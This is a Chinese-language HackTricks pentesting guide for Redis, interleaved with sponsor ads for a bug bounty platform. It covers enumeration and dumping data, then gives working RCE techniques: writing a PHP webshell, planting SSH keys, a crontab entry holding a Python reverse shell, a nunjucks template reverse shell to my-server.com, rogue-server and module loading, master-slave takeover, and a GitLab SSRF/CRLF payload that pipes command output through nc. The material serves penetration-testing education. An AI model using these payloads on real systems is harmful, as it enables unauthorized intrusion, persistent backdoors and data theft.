hacktricks/network-services-pentesting/6379-pentesting-redis.md
2023-08-03 19:12:22 +00:00

334 lines
18 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Redis渗透测试
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
**无需延迟获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。
**在web3渗透测试中获得经验**\
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
## 基本信息
Redis是一个开源BSD许可证的内存**数据结构存储**,用作**数据库**、缓存和消息代理(来自[这里](https://redis.io/topics/introduction)。默认情况下Redis使用基于纯文本的协议但您必须记住它也可以实现**ssl/tls**。了解如何在此处[使用ssl/tls运行Redis](https://fossies.org/linux/redis/TLS.md)。
**默认端口:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## 自动枚举
一些自动化工具可以帮助获取 Redis 实例的信息:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## 手动枚举
### 横幅
Redis是一种**基于文本的协议**,您只需**在套接字中发送命令**返回的值将可读。还要记住Redis可以使用**ssl/tls**运行(但这非常奇怪)。
在常规的Redis实例中您可以使用`nc`进行连接,也可以使用`redis-cli`
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
你可以尝试的**第一个命令**是**`info`**。它可能返回Redis实例的信息输出或者返回类似以下内容
```
-NOAUTH Authentication required.
```
在这种情况下,这意味着**您需要有效的凭据**才能访问Redis实例。
### Redis身份验证
**默认情况下**,可以**无需凭据**访问Redis。但是可以进行**配置**以仅支持**密码或用户名+密码**。\
可以在_**redis.conf**_文件中使用参数`requirepass`设置密码,**或者在服务重新启动连接到Redis并运行`config set requirepass p@ss$12E45`**时临时设置密码。\
此外可以在_**redis.conf**_文件中的参数`masteruser`中配置**用户名**。
{% hint style="info" %}
如果仅配置了密码,则使用的用户名是“**default**”。\
此外,请注意,**无法从外部找到**Redis是否仅配置了密码或用户名+密码。
{% endhint %}
在这种情况下,您将**需要找到有效的凭据**才能与Redis进行交互因此可以尝试[**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
**如果找到有效的凭据,请在建立连接后使用命令进行身份验证**
```bash
AUTH <username> <password>
```
**有效的凭证**将会得到以下回应:`+OK`
### **已认证的枚举**
如果Redis实例接受**匿名**连接或者你找到了一些**有效的凭证**,你可以使用以下命令开始对服务进行枚举:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**其他Redis命令**可以在[这里](https://redis.io/topics/data-types-intro)和[这里](https://lzone.de/cheat-sheet/Redis)找到。\
请注意,**Redis实例的命令可以在redis.conf文件中被重命名或删除**。例如以下行将删除FLUSHDB命令
```
rename-command FLUSHDB ""
```
更多关于安全配置Redis服务的信息请参考[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
您还可以使用命令**`monitor`**实时监控执行的Redis命令或者使用**`slowlog get 25`**获取前25个最慢的查询命令。
在这里可以找到更多有关Redis命令的有趣信息[https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **数据库转储**
在Redis中**数据库是从0开始的数字**。您可以通过命令`info`的输出中的"Keyspace"块来查找是否有任何数据库正在使用:
![](<../.gitbook/assets/image (315).png>)
或者您可以使用以下命令获取所有的**keyspaces**(数据库):
```
INFO keyspace
```
在这个例子中,正在使用**数据库0和1**。**数据库0包含4个键数据库1包含1个键**。默认情况下Redis将使用数据库0。为了导出例如数据库1您需要执行以下操作
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
如果在运行`GET <KEY>`时出现`-WRONGTYPE操作针对保存错误类型值的键`的错误,这是因为键可能不是字符串或整数,需要使用特殊操作符来显示它。
要了解键的类型,请使用`TYPE`命令,以下是列表和哈希键的示例。
```
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
```
**使用npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **或python** [**redis-utils**](https://pypi.org/project/redis-utils/) **来转储数据库。**
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof 是所有加密货币漏洞赏金的家园。**
**即时获得奖励**\
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
**在web3渗透测试中获得经验**\
区块链协议和智能合约是新的互联网在其兴起的时代掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中赚取收入!
{% embed url="https://hackenproof.com/register" %}
## Redis RCE
### 交互式Shell
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) 可以自动在Redis<=5.0.5中获取交互式Shell或反向Shell。
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
来自[**这里**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)的信息。您必须知道**网站文件夹的路径**
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
如果Webshell访问异常您可以在备份后清空数据库然后再次尝试记得恢复数据库。
### 模板Webshell
与前一节类似您还可以覆盖一些将由模板引擎解释的HTML模板文件并获得一个Shell。
例如,根据[**这篇文章**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在一个由**nunjucks模板引擎解释的HTML**中注入了一个**反向Shell**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
请注意,**多个模板引擎会将模板缓存在内存中**,因此即使您覆盖它们,新的模板也**不会被执行**。在这种情况下要么开发人员保留了自动重新加载功能要么您需要对服务进行拒绝服务攻击DoS并期望它会自动重新启动。
{% endhint %}
### SSH
请注意,在执行其他手动利用命令之后,**`config get dir`** 的结果可能会发生变化。建议在登录到 Redis 后立即运行此命令。在 **`config get dir`** 的输出中,您可以找到 **redis 用户的主目录**(通常为 _/var/lib/redis__/home/redis/.ssh_),通过这个信息,您就知道可以在哪里写入 `authenticated_users` 文件以通过 ssh 使用 **redis 用户**登录。如果您知道其他有效用户的主目录,并且您具有可写权限,您也可以滥用它:
1. 在您的计算机上生成一个 ssh 公私钥对:**`ssh-keygen -t rsa`**
2. 将公钥写入文件:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. 将文件导入到 Redis**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. 将公钥保存到 Redis 服务器上的 **authorized\_keys** 文件中:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. 最后,您可以使用私钥 **ssh****redis 服务器****ssh -i id\_rsa redis@10.85.0.52**
**此技术在此处自动化:**[https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
最后一个例子是针对Ubuntu的对于**Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
这种方法也可以用来挖比特币:[yam](https://www.v2ex.com/t/286981#reply14)
### 加载Redis模块
1. 按照[https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)的说明,你可以**编译一个Redis模块来执行任意命令**。
2. 然后你需要一种方式来**上传编译好的**模块。
3. 使用`MODULE LOAD /path/to/mymodule.so`在运行时**加载上传的模块**。
4. 使用`MODULE LIST`**列出已加载的模块**,以检查是否正确加载。
5. **执行命令**
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. 随时卸载模块:`MODULE UNLOAD mymodule`
### LUA沙盒绕过
[**在这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)你可以看到Redis使用命令**EVAL**来执行**沙盒化的Lua代码**。在链接的帖子中,你可以看到如何使用**dofile**函数来滥用它,但是[显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)这已经不再可能。无论如何,如果你能**绕过Lua**沙盒,你就可以在系统上**执行任意**命令。此外,从同一篇帖子中,你可以看到一些**导致DoS的选项**。
一些**用于绕过LUA的CVE**
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### 主从模块
主Redis的所有操作会自动同步到从Redis这意味着我们可以将有漏洞的Redis视为从Redis连接到我们自己控制的主Redis然后我们可以向自己的Redis输入命令。
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF与Redis通信
如果你可以发送**明文请求**到**Redis**,你可以与它**进行通信**因为Redis会逐行读取请求并对它不理解的行返回错误响应
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
因此如果您在一个网站中发现了一个SSRF漏洞并且您可以控制一些头部可能是通过CRLF漏洞或POST参数那么您将能够向Redis发送任意命令。
### 示例Gitlab SSRF + CRLF到Shell
在Gitlab11.4.7中发现了一个SSRF漏洞和一个CRLF漏洞。当创建一个新项目时SSRF漏洞存在于从URL导入项目的功能中允许访问任意IP形式为\[0:0:0:0:0:ffff:127.0.0.1]这将访问127.0.0.1而CRLF漏洞则是通过在URL中添加%0D%0A字符来利用。
因此可以滥用这些漏洞与管理gitlab队列的Redis实例进行通信并滥用这些队列来获取代码执行。Redis队列滥用的有效载荷为
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
而滥用SSRF和CRLF执行`whoami`命令,并通过`nc`发送输出的**URL编码**请求是:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
由于某种原因(如来源于[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)的作者所述),利用只适用于`git`协议而不适用于`http`协议。
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof是所有加密漏洞赏金的家园。**
**即时获得奖励**\
只有在客户存入奖励预算后HackenProof才会启动赏金。在漏洞验证后您将获得奖励。
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网在其兴起之时掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。
[**在HackenProof上注册**](https://hackenproof.com/register)并从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>